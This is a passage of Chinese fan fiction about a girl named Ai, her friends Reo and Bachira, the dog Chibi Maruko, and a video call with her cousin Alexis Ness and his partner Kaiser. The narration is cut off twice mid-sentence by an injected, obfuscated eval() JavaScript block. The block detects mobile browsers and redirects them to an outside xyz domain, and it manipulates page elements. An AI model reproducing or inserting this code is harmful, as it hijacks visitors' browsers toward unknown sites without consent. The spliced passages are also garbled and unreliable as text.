就在我们这边笑闹揭短的时候,那边和小丸子“搏斗”告一段落的蜂乐回,似乎捕捉到了我们的对话片段。他顶着一头被小丸子蹭得乱糟糟的头发,抱着兴奋劲儿稍歇、正呼哧呼哧喘气的小丸子走了过来,毫不客气地一屁股坐在我们旁边的榻榻米上。小丸子立刻从他怀里挣脱,熟门熟路地挤到我腿边趴下,脑袋搁在我膝盖上,眼睛却还黏着蜂乐。 “诶?什么口水洗脸?谁被小丸子吓哭啦?”蜂乐回那双蜂蜜色的眼睛亮晶晶的,充满了纯粹的好奇和看热闹不嫌事大的兴致,目光在玲王那张余红未消的俊脸上扫来扫去。 玲王瞬间绷紧了身体,眼神锐利地射向我,无声地发射着“敢说就绝交”的威胁光波。 我忍着笑,明智地转移了话题,指了指他怀里的小丸子:“在说小丸子名字的由来呢。蜂乐君,你知道为什么叫它‘小丸子’吗?” “嗯?”蜂乐回果然被吸引了注意力,低头揉了揉小丸子毛茸茸的脑袋,“为什么?因为它圆滚滚的很可爱?还是……”他眼睛一亮,看向正在开放式厨房切水果的舅舅,“因为智辉叔叔喜欢看《樱桃小丸子》?我看日本好多宠物都用人名取名的!” 舅舅端着还没处理的蜜瓜和草莓走过,闻言哈哈一笑:“哈哈,猜对了一半!是爱酱取的!不过可不是因为我喜欢看。” “是我取的。”我点点头,指尖无意识地梳理着小丸子颈后柔软的毛发,目光带着点怀念,“确实是看了《樱桃小丸子》之后决定的。那时候我刚上幼稚园,动画片里的小丸子,有点迷糊,有点贪吃,有点小懒惰,总是闯祸但永远开开心心的,家人朋友也都包容她、爱她……” 我的声音不自觉地放轻了些,“就觉得,要是我也能养一只像她那样,有点小缺点但永远活力满满、能给人带来快乐的小狗就好了。” 客厅里安静了一瞬,只有小丸子舒服的呼噜声。玲王侧头看着我,紫眸中闪过一丝了然的温柔,他大概想起了我童年时父母缺席的那些时光。 “啊!果然!”蜂乐回却像是找到了知音,猛地一拍手,声音瞬间拔高,充满了纯粹的惊喜和共鸣,“我也超——级喜欢《樱桃小丸子》的!小时候看的时候,总是对着电视流口水!超级想吃里面的布丁!章鱼烧!还有各种好吃的!啊!还有花轮同学家那些看起来就超贵的点心!” 他双手比划着,眼睛亮得像星星,表情生动夸张,“每次看到小丸子偷吃被妈妈追着打,或者和爷爷一起分享零食的片段,我都馋得不行!缠着我妈妈好久,让她给我做动画片里的食物呢!” 他一边说着,一边还下意识地舔了舔嘴唇,仿佛那些美味还停留在记忆里。 他这副馋猫模样配上那双闪闪发光的蜂蜜色眼睛,坦率得毫无阴霾,充满了孩子气的可爱。 “噗……”我没忍住,笑出了声,看着他由衷地感叹,“蜂乐君,你还真是……坦率又可爱啊。” 这种因为动画片食物就馋得念念不忘的纯粹,确实很“蜂乐回”。 话一出口,我立刻感觉到旁边有道目光直直地戳了过来。一转头,果然对上了御影玲王那双漂亮的紫眼睛。他正用一种难以形容的眼神看着我,嘴角虽然还噙着那抹完美的王子式微笑,但眼底深处分明写满了“我呢?”、“我不可爱吗?”的无声控诉和……一丝丝不易察觉的、被忽视的委屈?那眼神,配上他微微抿起的唇线,简直像一只被主人夸了别家小狗而暗自吃醋的大型猫科动物。 这反差萌得我心头一软。刚才还在羞恼地否认黑历史呢,转头就因为一句夸别人“可爱”而闹别扭了? “当然,”我忍着笑意,非常自然地侧过身,对上玲王那双带着控诉的紫眸,故意拖长了语调,声音放得又轻又软,带着点哄人的意味,“我们玲王大人……也最可爱了。” 尤其是现在这副暗自较劲又强装不在意的样子。 玲王显然没料到我会这么直接地“补刀”,而且还是当着新认识的蜂乐回的面!他那张白皙的脸“唰”地一下,从耳根一路红到了脖子!紫罗兰色的眼睛瞬间睁大,里面充满了难以置信的羞窘和一丝被戳穿心思的慌乱。他飞快地移开视线,端起茶杯猛灌了一大口,试图用茶杯挡住自己爆红的脸颊,喉咙里发出一点被呛到的、含糊不清的气音,连耳尖都红得滴血。 蜂乐回看看满脸通红、恨不得把自己缩进茶杯里的玲王,又看看一脸促狭笑意的我,蜂蜜色的眼睛眨了眨,似乎明白了什么,嘴角咧开一个更大、更促狭的笑容,但他很识趣地没有火上浇油,反而把话题又转了回去。 “不过,清田同学,”蜂乐回托着下巴,好奇地看着我,暖金色的眼睛里带着真诚的探究,“你喜欢小丸子,是因为想养一只像她那样快乐的小狗,还是……因为动画片里那种热热闹闹的家庭氛围?” 他心思其实很敏锐,刚才我提到“家人朋友包容她”时语气里的那点怀念,他似乎捕捉到了。 我抚摸小丸子的手微微一顿。阳光透过落地窗洒在地毯上,温暖而安静。玲王也悄悄放下了茶杯,虽然脸上红晕未褪,但目光也带着关切和了然望向我。舅舅切水果的动作也慢了下来,客厅里只剩下小丸子均匀的呼吸声。 “大概……都有吧。”我笑了笑,声音很轻,带着点坦然,“小时候,家里总是很安静。爸爸妈妈在的时候,也总是在讨论训练、比赛、转会,全世界飞。我一个人在家的时候居多。看《樱桃小丸子》的时候,特别羡慕她那个虽然吵吵闹闹、总是为小事拌嘴,但永远充满烟火气和笑声的家。爷爷会偷偷给她零花钱买零食,爸爸会在她考砸了后叹气但还是揉她的头,妈妈虽然凶但会把最好的留给她,姐姐虽然嫌弃她但关键时刻会护着她……那些最普通、最琐碎的日常,对我来说,反而是最温暖、最遥不可及的。” 我顿了顿,指尖感受着小丸子温暖的皮毛传来的踏实触感,“所以给小丸子起这个名字,大概……是寄托了一点小小的愿望吧。希望它能像动画片里那样,给生活带来点热热闹闹的、平凡的快乐。” 空气安静了几秒。阳光里的尘埃都仿佛静止了。 “原来是这样啊……”蜂乐回的声音打破了沉默,没有同情,也没有沉重,反而带着一种豁然开朗的明朗和跃跃欲试。他暖金色的眼睛亮晶晶地看着我,笑容灿烂得像正午的太阳,带着一种天然的、毫无阴霾的温暖力量,“那还不简单!” 他猛地一拍自己的胸膛,发出清脆的响声,语气充满了自信和一种理所当然的亲近感: “清田同学,你缺的那部分,我蜂乐回来给你补上啊!”他指了指自己,又指了指旁边还在害羞中的玲王和正在厨房忙碌的舅舅,“你看!智辉叔叔就像可靠的爸爸!玲王君嘛……嗯,可以当个帅气的哥哥?”他促狭地朝玲王挤挤眼,无视了对方瞬间变得复杂的表情,然后指向自己,笑容更加扩大,露出两颗小虎牙,“至于我!我可以像小丸子的爷爷一样宠爱你!偷偷给你塞零花钱买好吃的!陪你一起玩!保证让你的生活充满热热闹闹的平凡快乐!怎么样?这个补丁计划是不是很完美?” 他一脸“快夸我聪明”的表情,蜂蜜色的眼眸里满是真诚和期待。 这突如其来的、过于直白又带着点孩子气的“补丁计划”,让我和玲王都愣住了。我看着他脸上那毫无阴霾、仿佛在说“今天天气真好”的灿烂笑容,心里那点因回忆而升起的微涩瞬间被冲得无影无踪,取而代之的是一种哭笑不得的暖意。这家伙……还真是个行动派的热源体。 “噗……” 我终于忍不住再次笑出声,摇了摇头,“蜂乐君,你的好意我心领啦。不过,‘爷爷’这个角色定位是不是有点……” 我看着他那张充满少年朝气的脸,实在无法把他和动画片里那位慈祥又有点糊涂的老爷爷联系起来。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251814|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着婉拒,目光下意识地转向身边的玲王,想看看他对蜂乐这离谱提议的反应。刚才还羞窘得面红耳赤的玲王,此刻却安静地坐在那里。他不知何时把小丸子抱到了自己腿上,修长的手指正有一下没一下地、极其温柔地梳理着柴犬颈后蓬松的金色毛发。小丸子舒服地眯着眼,发出惬意的呼噜声。 玲王微微低着头,紫罗兰色的眼眸低垂着,长长的睫毛在眼下投下一小片扇形的阴影,遮住了他眼底的情绪。他侧脸的线条在午后的光线下显得格外柔和,唇角似乎还残留着一丝未褪尽的、极淡的笑意,但整个人的气息却沉静了下来,带着一种不易察觉的专注和……若有所思?仿佛刚才蜂乐那番话,或者是我之前关于童年的剖白,触动了他心底某个角落,让他陷入了短暂的思绪之中。 他安静地撸着狗,阳光落在他紫色的发梢和专注的侧脸上,画面静谧而美好,与旁边活力四射的蜂乐回形成了鲜明的对比。 “玲王?”我轻声唤他。 玲王像是被惊醒,猛地抬起头,紫眸中那点沉静的思绪迅速褪去,重新盈满了熟悉的温和笑意,仿佛刚才的走神只是我的错觉。“嗯?怎么了?”他看向我,又自然地转向蜂乐,嘴角扬起完美的弧度,“蜂乐君的提议很有创意,不过……”他拖长了语调,目光落在我身上,带着点促狭,“给爱酱当‘爷爷’的重任,还是留给真正有‘阅历’的人比较合适吧?” “诶——玲王君你这是在嫌弃我幼稚吗?”蜂乐回立刻抗议,佯装不满地鼓起脸。 舅舅适时地端着两大盘切好的水果走了过来,爽朗的笑声打破了小小的“争执”:“哈哈哈!好了好了,年轻人有活力是好事!来,吃水果!刚切的蜜瓜,还有玲王少爷喜欢的草莓!” 晶莹的蜜瓜散发着清甜的香气,鲜红的草莓饱满欲滴。玲王放下小丸子(小家伙立刻又蹭回蜂乐脚边),接过舅舅递来的果盘,礼貌地道谢。蜂乐回也欢呼一声,毫不客气地叉起一大块蜜瓜塞进嘴里,满足地眯起眼。我也拿起一颗草莓,酸甜的滋味在舌尖化开。 轻松愉快的氛围重新弥漫开来。我们围坐在阳光充足的客厅里,吃着爽口的水果,听着舅舅讲些欧洲旅行中我没注意到的趣事,蜂乐回时不时插科打诨,逗得舅舅哈哈大笑。玲王优雅地吃着草莓,偶尔加入话题,紫眸含笑,目光却总是不经意地、带着一丝温柔的暖意落在我身上。小丸子趴在蜂乐腿边,时不时被投喂一小块苹果核,幸福得尾巴直摇。 午后的时光就在这样闲适而温暖的氛围中静静流淌。窗外的蝉鸣悠长,阳光渐渐西斜,给房间镀上了一层柔和的金边。没有激烈的足球对抗,没有复杂的战术分析,只有家人和像家人一样的朋友的陪伴、水果的清甜,以及柴犬满足的呼噜声。这种平凡到近乎琐碎的温暖,像一股涓涓细流,无声地浸润着心田。 快乐的一天,就在这充满烟火气的宁静中悄然滑过。 *** 傍晚时分,婉拒了舅舅留我们吃晚饭的提议,玲王家的司机准时等在楼下。蜂乐回抱着小丸子一直把我们送到电梯口,小丸子依依不舍地用湿漉漉的鼻子蹭着我的手,蜂乐回则挥着手,笑容灿烂地喊着:“清田同学!玲王君!下次再来玩啊!小丸子会想你们的!” 电梯门缓缓合上,隔绝了那过分有活力的告别声。封闭的空间里只剩下我和玲王。他身上那股淡淡的、清冽好闻的气息瞬间变得清晰。 短暂的沉默后,玲王轻声开口,声音带着一丝不易察觉的缱绻:“今天……开心吗?” 我抬起头,对上他温柔的紫眸,那里清晰地映着我的影子。我笑着点点头:“嗯,很开心。很久没这么放松了。” 小丸子,蜂乐回的热闹,舅舅的笑声,还有……他安静坐在阳光里撸狗的样子,都让人感到安心。 玲王嘴角的弧度加深,似乎也松了口气。“那就好。” 他没再多说什么,只是那目光中的暖意,比电梯顶灯的光芒还要柔和。 车子平稳地驶回东京都内的家。推开玄关大门,室内的冷气扑面而来,带着家的熟悉气息。 客厅里亮着灯。母亲正坐在宽大的沙发上,专注地看着前方巨大的电视屏幕。屏幕上正播放着激烈的足球比赛,看台座无虚席,绿色的草皮上人影飞奔,看球衣颜色似乎是欧洲某个顶级女足联赛的强强对话。母亲看得很专注,茶几上放着一杯喝了一半的花草茶。她听到动静,转过头,对我露出一个温柔的微笑:“回来了?智辉家好玩吗?” 她的目光随即落在电视屏幕上,显然比赛正进行到关键处。 “嗯,挺好的。”我换了鞋,目光扫过电视屏幕——高速回放着一个漂亮的禁区外远射破门,门将鞭长莫及。解说员激动的声音瞬间拔高,但我没看清是哪支球队,也没看清球员的号码和面孔。 就在这时,父亲那标志性的洪亮声音从书房方向传来,带着点兴奋和急切: “爱!快过来!正好!” 我循声望去,只见书房的门虚掩着,里面透出明亮的灯光。父亲显然正对着电脑屏幕进行视频通话,声音透过门缝清晰地传出来。 ……这又是什么事啊? 15. 远方表哥 父亲一脸兴奋,像是淘到了什么大宝贝一样,一直在招呼我过去。 我无奈地叹了口气,把在玄关脱下的鞋子摆正,跟母亲交换了一个“又来了”的眼神。母亲只是温柔地笑了笑,目光又落回电视屏幕上激烈的女足比赛,显然对父亲的突发奇想习以为常。 推开书房虚掩的门,暖黄的灯光下,父亲正对着笔记本电脑手舞足蹈,屏幕的光映在他笑得见牙不见眼的脸上。他听到动静,立刻转头,湛蓝的眼睛亮得像发现了新大陆:“快来快来!爱!看看这是谁!” 我走过去,站在父亲宽大的皮椅后面,目光投向那块发亮的屏幕。屏幕里是一张年轻的脸庞,镜头离得很近,能清晰看到对方微微睁大的眼睛——那是一双形状偏圆、眼尾略微下垂的梅子色眼眸,像某种温顺小动物的眼睛,此刻正带着显而易见的紧张和激动,一眨不眨地盯着摄像头。他有着一头在欧美少年中很少见的、柔顺的粉紫色渐变短发,发梢颜色更深,几缕碎发不太服帖地搭在光洁的额角。脸颊上泛着淡淡的红晕,嘴唇微微抿着,显得有些局促不安。 父亲用他那带着浓重西语口音的英语,声音洪亮地介绍着:“亚历克西斯!这就是我的宝贝女儿,清田爱!爱,快跟你表哥亚历克西斯打个招呼!” 屏幕里的男孩——亚历克西斯·内斯,像是被按下了启动键,立刻挺直了背脊,那双梅色的下垂眼瞬间亮了起来,带着一种混合着羞涩和巨大喜悦的光芒。他忙不迭地开口,语速很快,英语带着清晰的德国腔调,但发音标准流畅:“Hallo! Nice to meet you! I’m Alexis Ness!(你好!很高兴认识你!我是亚历克西斯·内斯!)” 他重复了一遍自己的名字,然后像是觉得不够,又急急地补充道,脸颊更红了,“Your father just told me about you! It’s such an honor! Really!(你父亲刚刚跟我提到你了!这真是莫大的荣幸!真的!)” 他的语气真诚得近乎虔诚,目光热切地锁定在屏幕这头的我身上。 显然,他听不懂父亲刚才那一长串兴奋的日语介绍,但“清田爱”这个名字和父亲的态度,足以让他明白我是谁。一个世界级门将表舅突然找上门来,还热情地介绍自己的女儿……这对一个热爱足球的少年来说,冲击力大概不亚于中了彩票。 我对着摄像头微微颔首,也用英语回应,尽量让自己的声音听起来平和:“Nice to meet you too, Alexis. I’m Ai Seida.(也很高兴认识你,亚历克西斯。我是清田爱。)” 父亲在旁边看得乐不可支,他大手一挥,揽过我的肩膀,凑近麦克风,用英语夹杂着兴奋的日语解释(显然主要是说给我听):“看看!缘分啊!简直是上帝的旨意!我也是最近才知道,你姑婆的女儿——就是我表姐!生了这么个踢足球的好小子!内斯!亚历克西斯·内斯!瞧瞧这名字!多棒!” 他用力拍着我的肩,仿佛在展示一件稀世珍宝,“我一听说他踢球,还是个中场?哎呀!这不就联系上了嘛!一家人!一家人就该多亲近!” 原来如此。又是足球搭的桥。 父亲退役后的生活,似乎就是不断挖掘各种与足球沾亲带故的“惊喜”。我总算明白内斯脸上那激动得快要晕过去的表情是怎么回事了。一个“世界第一门将”突然从天而降成了表舅,对任何足球少年来说,都是做梦都不敢想的好运。 “So, Alexis,” 我看向屏幕里依旧脸颊泛红、显得有些手足无措的表哥,决定把话题拉回足球本身,这大概是唯一能让他放松点的话题,“Father said you play midfield? Not a goalkeeper like him?(父亲说你是踢中场的?不像他一样当守门员?)” 我刻意用了Father这个称呼,而不是更口语化的Dad。 提到位置,内斯那双梅色的下垂眼瞬间亮得惊人,之前的紧张被一种纯粹的、带着自豪的光芒取代。他用力点头,声音都提高了些:“Yes! Exactly! I’m a midfielder! I focus on playmaking and set pieces!(是的!没错!我是中场!我专注于组织进攻和定位球!)” 他顿了顿,脸上绽放出一个灿烂又带着点腼腆的笑容,补充道,语气里充满了不容置疑的崇拜和依赖,“And… and I have the best partner! The best striker!(而且……而且我有最好的搭档!最好的前锋!)” 他提到“搭档”和“前锋”时,那种发自内心的、近乎信仰般的笃定和光芒,让他的整张脸都生动起来。那双梅色的眼睛亮晶晶的,充满了纯粹的信任和骄傲。 我微微挑眉,对这个能让他如此推崇的“最好前锋”产生了一丝好奇:“哦?The best?(最好的?)” “Absolutely!” 内斯毫不犹豫地肯定,声音带着不容置疑的虔诚,“His name is Michae…” 话音未落。 屏幕边缘,一只骨节分明、肤色白皙的手突然伸了过来,极其自然、甚至带着点随意地搭在了内斯的肩膀上。 紧接着,一张俊美得极具侵略性的脸孔,毫无预兆地强势侵占了屏幕右侧的空间。 那是一个金发少年。耀眼的、如同熔化的黄金般的发丝下,是一张轮廓深邃、如同希腊神祇雕塑般完美的脸。最引人注目的是他挑染成深海冰蓝的发尾,几缕不羁的蓝色秀发垂落在光洁的额角和线条优美的下颌旁,形成强烈的视觉冲击。他微微歪着头,一双如同寒冰冻结的阿尔卑斯湖、又像是切割完美的蓝宝石般的眼睛,此刻正一眨不眨地、带着毫不掩饰的探究和一丝审视,透过屏幕,精准地落在我脸上。 他的眉头微微蹙着,薄唇抿成一条略显凌厉的线,周身散发着一种与生俱来的、毫不费力的高傲气场。他只是这样随意地出现在镜头里,甚至只露出了半张脸,就瞬间将内斯刚才营造出的那种略带羞涩的热络氛围彻底冻结。 他的目光在我脸上停留了大约两秒,仿佛在评估一件物品的价值。然后,那双冰蓝色的眼眸转向身边的内斯,低沉悦耳、带着明显德语腔调的英语清晰地响起,语调带着一种理所当然的掌控感: “Ness. What are you talking about me?(内斯。你们在说我什么?)” 亚历克西斯·内斯被这突如其来的“袭击”吓了一跳,身体明显僵了一下。他猛地转过头,看到那张近在咫尺的俊脸时,梅色的眼睛里瞬间闪过一丝慌乱,随即又被一种近乎条件反射般的、混杂着崇拜和紧张的情绪取代。他结结巴巴地回答,声音比刚才跟我说话时小了很多,甚至带着点讨好的意味:“K-Kaiser! No! I mean… I was just… just introducing myself to my cousin…(凯、凯撒!没有!我是说……我只是在……在向我的表妹介绍自己……)” 米歇尔·凯撒(Michel Kaiser)。 这个名字随着内斯磕磕绊绊的解释,清晰地落入了我的耳中。原来内斯口中那个“最好”的前锋搭档,就是眼前这位突然闯入、气场强大到让人无法忽视的金发少年。 凯撒似乎对内斯的解释并不完全满意,或者说,他对“表妹”这个称呼更感兴趣。他冰蓝色的眼眸微微眯起,视线重新落回屏幕这头的我身上,带着更加直白的审视。他修长的手指无意识地摩挲着内斯肩头的衣料(内斯的身体绷得更紧了),目光如同探照灯般在我脸上逡巡,从眉眼到鼻梁,再到嘴唇,仿佛在鉴定一件刚出土的艺术品。 父亲显然也被这突如其来的“闯入者”吸引了。他凑得更近了些,饶有兴致地看着屏幕里气场迥异的两个少年:“哦?这位是……?” “He’s Kaiser! My partner!(他是凯撒!我的搭档!)” 内斯立刻抢答,语气带着强烈的自豪感,仿佛在介绍什么稀世珍宝。 凯撒终于收回了那极具压迫感的审视目光,嘴角极其轻微地向上勾了勾,形成一个若有似无、带着点傲慢意味的弧度。他没有看内斯,冰蓝色的眼眸依旧锁定着屏幕,对着我和父亲的方向,微微颔首,动作优雅却带着一种疏离的礼节性:“Kaiser.(凯撒。)” 一个单词,简洁明了,甚至懒得加上“我是”这种前缀,仿佛他的名字本身就代表着一切。 父亲乐了,他显然对这种充满自信或者说傲慢的年轻人很感兴趣:“凯撒?好名字!霸气!跟你的发色一样……嗯……”他似乎在寻找合适的形容词,目光落在凯撒那金蓝挑染的发尾上,“小伙子,你也是踢球的?内斯的搭档?前锋?” 凯撒的眉头几不可察地挑了一下,整个人散发出一种冷淡的掌控感。他薄唇轻启,声音带着一种理所当然的优越感:“Striker.(前锋。)” 又是一个单词,仿佛多说一个字都是浪费。 内斯在旁边用力点头,梅色的眼睛亮晶晶地看着凯撒的侧脸,像是在无声地附和:“Yes! The best!(是的!最好的!)” 父亲哈哈大笑,显然被凯撒这副“老子天下第一”的劲儿逗乐了,也更来了兴致:“哈哈哈!好!有气势!跟我们家爱还是亲戚!这世界真是太小了!爱,快跟你表哥和内斯的朋友打个招呼!” 他用力拍了拍我的背,示意我说话。 我看着屏幕里那张如同精雕细琢出来的、带着冰蓝色挑染和更冰冷眼神的脸,以及旁边那个眼神几乎黏在凯撒身上、满脸写着“我搭档天下无敌”的内斯。这对组合……反差未免太大了点。 我对着摄像头点了点头,语气平静无波,既没有内斯的激动,也没有凯撒的傲慢,只是陈述事实:“Nice to meet you, Kaiser.(很高兴认识你,凯撒。)” 凯撒冰蓝色的眼眸似乎在我脸上停顿了半秒,然后极其轻微地颔首,算是回应。他的目光随即转向我身边的父亲,显然对这位传奇门将的兴趣更大一些。内斯则像是完成了某种仪式,松了口气,脸上重新挂起腼腆又真诚的笑容。 父亲显然没打算放过这个“认亲”加“挖掘足球人才”的好机会。他兴致勃勃地开始询问内斯和凯撒在德国的俱乐部、训练情况、比赛风格,甚至开始分享自己当年在西班牙联赛对阵德国球队的心得。内斯听得无比认真,梅色的眼睛里充满了崇拜的光芒,不时激动地回应,努力想抓住这个向传奇表舅请教的机会。凯撒虽然话不多,只是偶尔简短地回应一两个词,或者发出一个表示听着的鼻音,但那双冰蓝色的眼睛却始终专注地看着屏幕里的父亲,眼神深处闪烁着属于顶级掠食者的、对强者本能的分析和评估光芒。他搭在内斯肩上的手一直没有松开,姿态放松中带着一种不容置疑的掌控感。 我就安静地站在父亲宽大的皮椅后面,像一株沉默的绿植,看着眼前这场隔着屏幕、跨越欧亚大陆的“足球认亲大会”。父亲洪亮的笑声、内斯激动而略显磕巴的英语、凯撒偶尔简短冰冷的回应、还有屏幕上不断晃动的两张年轻面孔——一张是粉紫短发梅色下垂眼的温顺激动,一张是金蓝挑染冰蓝眼眸的傲慢专注——构成了一幅奇异的画面。 这趟欧洲之旅的后遗症,似乎比想象中还要持久。一个洁世一还没送走多久,舅舅家又冒出来个活力四射的蜂乐回,现在电脑屏幕里又“哐当”掉下来一个激动得快晕过去的粉紫毛表哥,还附带一个气场强大、发色像菠萝酱混了蓝薄荷硬糖的“最好前锋”搭档…… 我的生活,到底什么时候才能彻底摆脱这些跟足球绑在一起的、奇奇怪怪的少年啊? 心底无声地叹了口气。目光扫过凯撒那头在屏幕光线下显得格外醒目的金蓝挑染,尤其是那几缕冰蓝色,在深金色背景的衬托下,确实像凝结的薄荷硬糖,又冷又硬。 嗯,蓝色的薄荷硬糖。这个比喻倒是挺贴切。 “爱!”父亲兴奋的声音打断了我的走神,他指着屏幕里的凯撒,眼睛亮得像发现了新大陆,“听到没?凯撒这小子!才十八岁!已经在拜塔慕尼黑U20踢主力了!前途无量啊!跟内斯配合得那叫一个默契!是不是?内斯?” 屏幕里的内斯立刻像被点名的小学生,挺直腰板,梅色的眼睛闪闪发光,用力点头:“Yes! Kaiser is incredible! Our coach always praises our partnership!(是的!凯撒简直不可思议!我们的教练总是称赞我们的搭档组合!)” 他看向凯撒的眼神,崇拜得几乎要化为实质性的小星星。 凯撒对于这直白的吹捧似乎早已习以为常,只是极其轻微地抬了抬下巴,冰蓝色的眼眸里掠过一丝几不可察的满意。他的目光再次扫过我,带着一种“听到了吗”的无声宣告。 父亲更高兴了,他像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251815|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了知音,对着凯撒和内斯开始滔滔不绝地讲起他当年在顶级联赛如何识破前锋假动作、如何预判射门路线的“光辉事迹”。内斯听得如痴如醉,不时发出惊叹。凯撒虽然依旧话少,但眼神专注,偶尔会提出一个极其尖锐的问题,直指守门员预判的盲区,惹得父亲又是拍大腿又是大笑,直呼“这小子有眼光!问到点子上了!” 我站在这个“足球狂热交流中心”的边缘,感觉自己像个误入球赛直播间的观众。直到母亲温柔的声音从书房门口传来:“晚餐好了哦。再聊下去,菜都要凉了。” 父亲这才意犹未尽地看了看时间,对着屏幕那头同样听得入迷的两个少年说道:“哎呀!时间过得真快!该吃饭了!内斯,凯撒,下次再聊!保持联系!你们俩都是好苗子!加油!” 他用力挥着手,笑容满面。 内斯立刻露出不舍的表情,但还是乖巧地点头:“Yes! Thank you so much, uncle! It was an honor! We’ll keep in touch!(好的!非常感谢您,叔叔!非常荣幸!我们会保持联系的!)” 凯撒也微微颔首,冰蓝色的眼眸在屏幕这头扫过,最后落在我身上,极其短暂地停留了一瞬,然后移开:“Understood.(明白了。)” 视频通话结束,屏幕暗了下去。书房里还残留着父亲兴奋的气息和刚才跨国交流的余韵。 晚餐桌上,父亲依旧沉浸在刚才的“认亲”和“挖掘人才”的兴奋中,一边切着烤鱼,一边眉飞色舞地对母亲和我复述着内斯如何激动,凯撒如何有天赋有头脑,如何眼光毒辣。“那个凯撒!了不得啊!虽然傲了点,但那眼神!那提问!绝对是顶级前锋的料!还有内斯那孩子,一看就是个用脑子踢球的好中场!心思细,配合意识强!啧啧,这趟欧洲真是没白去!又发现两块璞玉!” 母亲微笑着听着,适时地给父亲的碗里添了块鱼肉,温柔地提醒:“先吃饭吧。孩子们都累了,你也消停会儿。” 我安静地吃着饭,心里却在想:璞玉不璞玉不知道,但这位“薄荷硬糖”先生和那位“温顺表哥”的组合,看起来就……挺麻烦的。尤其是那位凯撒,那双冰蓝色的眼睛看人的时候,总感觉像被什么冷血动物盯上了似的。 希望这“远房亲戚”的关系,仅限于屏幕两端吧。 然而,现实往往事与愿违。 几天后的一个下午,我正窝在客厅沙发里翻看一本小说,试图将脑子里那些绿茵场、足球少年和薄荷硬糖发色的影像驱逐出去。放在茶几上的手机突然震动起来。 屏幕上跳动的名字是:Alexis Ness。 我犹豫了两秒,还是按下了接听键。毕竟是“表哥”,而且父亲似乎很看重这次联系。 “H…Hello? Ai?” 内斯的声音从听筒里传来,带着点小心翼翼的试探和明显的紧张,英语磕磕绊绊的,比视频时更甚,“It’s… it’s Alexis. Ness. Sorry to bother you…(是……是我,亚历克西斯。内斯。抱歉打扰你……)” “Hello, Alexis. It’s no bother.(你好,亚历克西斯。没关系的。)” 我尽量让声音听起来平和。 “Oh, good! That’s… that’s good!” 他似乎松了口气,语气也轻快了一点,“Um… I was wondering… well, Kaiser and I were talking…(呃……我想问……嗯,凯撒和我刚才在讨论……)” 他提到凯撒的名字时,声音里又带上了那种熟悉的、近乎虔诚的强调,“…and he’s really interested!(……而且他真的很感兴趣!)” 我心头升起一丝不妙的预感:“Interested in what?(对什么感兴趣?)” “Your father! The World Cup! The penalty save against Argentina in the quarter-finals!(你的父亲!世界杯!四分之一决赛对阵阿根廷时扑出的那个点球!)” 内斯的声音因为激动而拔高,语速也快了起来,“Kaiser said it was… was pure instinct and anticipation! Unbelievable! He wants to know more details! Like… like how uncle read the taker’s body language at that crucial moment!(凯撒说那完全是……纯粹的本能和预判!不可思议!他想知道更多细节!比如……比如叔叔在那一刻是如何解读罚球者肢体语言的!)” 他顿了顿,语气充满了恳求,“Could you… could you maybe ask uncle if he has time for a short call? Or… or perhaps you know something about it?(你能不能……能不能问问叔叔他有没有时间接个简短的电话?或者……或者你知道一些相关的事情吗?)” 我:“……” 果然!麻烦找上门了!还是那个薄荷硬糖先生引发的! 我看着手机屏幕,仿佛能看到内斯那双充满期待和忐忑的梅色下垂眼,以及他身后那个金发蓝挑染、冰蓝眼眸里闪烁着不容置疑的探究欲的“最好前锋”搭档。 看来,这“远房亲戚”的关系,想仅限于屏幕两端,似乎有点难了。那位凯撒先生,显然是个对“猎物”极其执着的人。而我那位唯恐天下不乱、热衷于“足球认亲”的父亲,大概会非常乐意满足这位“天才前锋”的好奇心。 我无奈地揉了揉眉心:“……I’ll ask him.(我会问他的。)” 电话那头立刻传来内斯如释重负又充满感激的声音:“Thank you! Thank you so much, Ai! You’re the best!(谢谢你!太感谢你了,爱!你最好了!)” 挂断电话,我盯着手机屏幕上“Alexis Ness”的名字,长长地、无声地叹了口气。 薄荷硬糖的滋味,果然不是那么好消受的。 16. 礼物 父亲又在呼唤我过去。 我无奈地放下手里写到一半的暑假作业——厚厚一摞,涵盖了从世界史到高等数学的各个学科,字迹工整,进度可观——起身走向书房。手机还搁在书桌上,屏幕亮着,停留在和内斯的聊天界面。最新一条是我五分钟前刚发过去的德语足球术语解释,附带父亲对某个点球扑救细节的补充说明。 整个暑假的后半段,基本被切割成了三大块:写作业,充当内斯和父亲之间的“人肉传声筒”(虽然大部分问题的源头是那位金蓝挑染的薄荷硬糖先生),以及应付舅舅家那位活力四射的新晋“狗保姆”蜂乐回时不时的“小丸子玩耍邀约”。生活规律得有些乏味,却也难得清静,除了偶尔被凯撒那些角度刁钻、带着冰碴子的问题冻得脑仁疼之外。 “快看快看!”父亲指着亮着的电脑屏幕,眼睛亮得惊人,像发现了新大陆的探险家,“亚历克西斯刚发来的!凯撒这小子!昨天热身赛又帽子戏法了!看看这第三个进球!啧啧啧,这脚背抽射的弧线!这角度!简直了!” 